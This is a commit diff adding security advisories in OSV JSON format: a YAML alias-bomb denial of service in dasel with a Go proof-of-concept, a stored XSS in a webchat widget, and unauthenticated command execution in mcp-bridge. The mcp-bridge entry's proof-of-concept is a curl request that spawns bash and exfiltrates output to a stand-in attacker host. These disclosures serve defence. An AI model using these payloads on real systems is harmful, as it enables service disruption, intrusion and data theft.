Skip to content

Commit 71d0080

Browse files
1 parent 1568d46 commit 71d0080

File tree

3 files changed

+145
-7
lines changed

3 files changed

+145
-7
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4fcp-jxh7-23x8",
4+
"modified": "2026-03-19T12:50:57Z",
5+
"published": "2026-03-19T12:50:57Z",
6+
"aliases": [],
7+
"summary": "Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service",
8+
"details": "### Summary\n\n`dasel`'s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.\n\nThe issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.\n\n### Details\n\nIn `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is:\n\n- The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format(\"yaml\").NewReader()`\n- `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler\n- `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree\n- When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count\n\nThe root cause is that go-yaml v4 has two decoding paths:\n\n1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`\"yaml: document contains excessive aliasing\"`).\n2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.\n\nDasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget:\n\n```go\ncase yaml.AliasNode:\n newVal := &yamlValue{}\n if err := newVal.UnmarshalYAML(value.Alias); err != nil {\n return err\n }\n yv.value = newVal.value\n yv.value.SetMetadataValue(\"yaml-alias\", value.Value)\n```\n\nWith a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n- go.yaml.in/yaml/v4 `v4.0.0-rc.3`\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/parsing\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/yaml\"\n\t\"go.yaml.in/yaml/v4\"\n)\n\nfunc main() {\n\tpayload := `a: &a [\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\"]\nb: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\nc: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\nd: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\ne: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\nf: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\ng: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\nh: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\ni: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\n`\n\n\tfmt.Printf(\"Payload size: %d bytes\\n\", len(payload))\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\t// 1. go-yaml v4 Unmarshal correctly rejects this\n\tfmt.Println(\"=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\")\n\t{\n\t\tvar v interface{}\n\t\tstart := time.Now()\n\t\terr := yaml.Unmarshal([]byte(payload), &v)\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"SAFE: Rejected in %v: %v\\n\", elapsed, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"VULNERABLE: Completed in %v\\n\", elapsed)\n\t\t}\n\t}\n\tfmt.Println()\n\n\t// 2. Dasel's YAML reader is vulnerable\n\tfmt.Println(\"=== Test 2: Dasel YAML reader (VULNERABLE) ===\")\n\tdone := make(chan string, 1)\n\tgo func() {\n\t\treader, err := parsing.Format(\"yaml\").NewReader(parsing.DefaultReaderOptions())\n\t\tif err != nil {\n\t\t\tdone <- fmt.Sprintf(\"Error creating reader: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tstart := time.Now()\n\t\t_, err = reader.Read([]byte(payload))\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tdone <- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t} else {\n\t\t\tdone <- fmt.Sprintf(\"Completed in %v\", elapsed)\n\t\t}\n\t}()\n\n\tselect {\n\tcase result := <-done:\n\t\tfmt.Println(result)\n\tcase <-time.After(5 * time.Second):\n\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; unbounded alias expansion in progress\")\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nPayload size: 342 bytes\nGo version: go1.26.1\nGOARCH: arm64\n\n=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\nSAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing\n\n=== Test 2: Dasel YAML reader (VULNERABLE) ===\nCONFIRMED: did not complete within 5s; unbounded alias expansion in progress\n```\n\n### Impact\n\nAn attacker who can supply YAML for processing by dasel can cause denial of service. The library's own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.\n\nThis affects:\n- CLI usage: when reading YAML from stdin or files via the CLI\n- Library usage: any application using dasel's YAML reader to parse untrusted YAML\n- The `parse(\"yaml\", ...)` function in selectors\n\n### Suggested Fix\n\nOne likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/tomwright/dasel/v3"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "3.0.0"
27+
},
28+
{
29+
"fixed": "3.3.2"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/TomWright/dasel/security/advisories/GHSA-4fcp-jxh7-23x8"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/TomWright/dasel"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-674"
49+
],
50+
"severity": "MODERATE",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-03-19T12:50:57Z",
53+
"nvd_published_at": null
54+
}
55+
}

advisories/unreviewed/2026/03/GHSA-w3vx-52j6-9fjp/GHSA-w3vx-52j6-9fjp.json renamed to advisories/github-reviewed/2026/03/GHSA-w3vx-52j6-9fjp/GHSA-w3vx-52j6-9fjp.json

Lines changed: 35 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,40 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-w3vx-52j6-9fjp",
4-
"modified": "2026-03-18T18:31:18Z",
4+
"modified": "2026-03-19T12:50:46Z",
55
"published": "2026-03-18T18:31:18Z",
66
"aliases": [
77
"CVE-2026-30048"
88
],
9+
"summary": "NotChatbot WebChat has a stored cross-site scripting (XSS) vulnerability",
910
"details": "A stored cross-site scripting (XSS) vulnerability exists in the NotChatbot WebChat widget thru 1.4.4. User-supplied input is not properly sanitized before being stored and rendered in the chat conversation history. This allows an attacker to inject arbitrary JavaScript code which is executed when the chat history is reloaded. The issue is reproducible across multiple independent implementations of the widget, indicating that the vulnerability resides in the product itself rather than in a specific website configuration.",
10-
"severity": [],
11-
"affected": [],
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@developer.notchatbot/webchat"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "1.5.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1238
"references": [
1339
{
1440
"type": "ADVISORY",
@@ -32,10 +58,12 @@
3258
}
3359
],
3460
"database_specific": {
35-
"cwe_ids": [],
36-
"severity": null,
37-
"github_reviewed": false,
38-
"github_reviewed_at": null,
61+
"cwe_ids": [
62+
"CWE-79"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-03-19T12:50:46Z",
3967
"nvd_published_at": "2026-03-18T18:16:27Z"
4068
}
4169
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-wvr4-3wq4-gpc5",
4+
"modified": "2026-03-19T12:51:28Z",
5+
"published": "2026-03-19T12:51:28Z",
6+
"aliases": [],
7+
"summary": "MCP Connect has unauthenticated remote OS command execution via /bridge endpoint",
8+
"details": "### Summary\nWhen _AUTH_TOKEN_ and _ACCESS_TOKEN_ environment variables are not set (which is the default out-of-the-box configuration) the _/bridge_ HTTP endpoint is completely unauthenticated. Any network-accessible caller can POST a request with an attacker-controlled serverPath and args payload, causing the server to spawn an arbitrary OS process as the user running mcp-bridge. This results in full remote code execution on the host without any credentials.\n\n### Details\n**Root cause 1 - Authentication not enforced when token is absent**\n_src/config/config.ts_ line 161 sets authToken to an empty string when neither environment variable is configured:\n```\nauthToken: process.env.AUTH_TOKEN || process.env.ACCESS_TOKEN || '',\n```\nThe auth middleware in _src/server/http-server.ts_ lines 118–141 wraps all enforcement in if (_this.accessToken_). Because an empty string is falsy in JavaScript, the entire block is skipped and next() is called unconditionally for every request:\n```\nif (this.accessToken) { \n// ... token validation - never reached when token is ''}\nnext(); // always reached in default config\n```\nThe only consequence of a missing token is a log warning (line 42–43). The server starts and serves requests normally.\n\n**Root cause 2 - _/bridge_ spawns arbitrary processes from request body input**\n_src/server/http-server.ts_ lines 194 and 218/227 extract _serverPath_ and _args_ directly from the untrusted JSON body and pass them to _MCPClientManager.createClient()_ without any validation:\n```\nconst { serverPath, method, params, args, env } = req.body;\n// ...\nclientId = await this.mcpClient.createClient(serverPath, args, env);\n```\n_src/client/mcp-client-manager.ts_ lines 68–75 fall through to _StdioClientTransport_ for any value that is not a valid HTTP/WS URL, using _serverPath_ as the executable command verbatim:\n```\ntransport = new StdioClientTransport({ \ncommand: serverPath, \nargs: args || [], \nenv: { ...getDefaultEnvironment(), ...(env || {}) }\n});\n```\nThere is no allow-list, no path restriction, and no sanitization. Any binary reachable from the server's PATH (including bash, sh, python, node, etc) can be invoked with arbitrary arguments.\n\n#### Exposure surface\nExpress's _app.listen(port)_ binds to all interfaces _(0.0.0.0)_ by default, making the service immediately reachable over the network on any cloud VM or container. The project additionally ships an explicit _start:tunnel_ npm script that uses ngrok to publish the server to a public internet URL, maximising the attack surface.\n\n### PoC\nStart the server with no auth token configured (the default):\n```\nnpm run build && npm start\n# No AUTH_TOKEN set — server starts on port 3000, all interfaces\n```\nSend a crafted request from any machine that can reach port 3000:\n```\ncurl -X POST http://<host>:3000/bridge \\ \n-H 'Content-Type: application/json' \\ \n-d '{ \n\"serverPath\": \"bash\", \n\"args\": [\"-lc\", \"id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil\"], \n\"method\": \"tools/list\", \n\"params\": {} \n}'\n```\nThe server spawns _bash_ as the _mcp-bridge_ process user. The command executes, the file is written, and the HTTP response will contain the error from the MCP handshake failing (but the payload has already run).\nFor internet-exposed instances (tunnel mode), replace _<host>_ with the ngrok public URL.\n\n### Impact\nAny unauthenticated attacker with network access to the server can execute arbitrary OS commands as the user running _mcp-bridge._ This permits full host compromise including: credential and secret theft from the environment, installation of persistent backdoors, lateral movement to internal systems, and complete data destruction.\nDeployments most at risk are:\n\n- Instances started with _npm run start:tunnel_ or _npm run dev:tunnel_ (direct internet exposure via ngrok)\n- Any instance running on a cloud VM, container, or host without a network firewall restricting port 3000\n\nThe vulnerability is trivially exploitable with a single curl command and requires no prior knowledge of the target beyond its IP address and port.\n\n\n### Remediation\n\n1. Treat a missing _AUTH_TOKEN_ as a fatal startup error. Replace the warning at _http-server.ts:41–43_ with a thrown exception so the server refuses to start without a configured secret.\n2. Invert the auth guard logic. Deny all requests when _authToken_ is empty rather than allowing them.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "mcp-bridge"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "2.0.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/EvalsOne/MCP-connect/security/advisories/GHSA-wvr4-3wq4-gpc5"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/EvalsOne/MCP-connect"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-306"
49+
],
50+
"severity": "CRITICAL",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-03-19T12:51:28Z",
53+
"nvd_published_at": null
54+
}
55+
}

0 commit comments

Comments
 (0)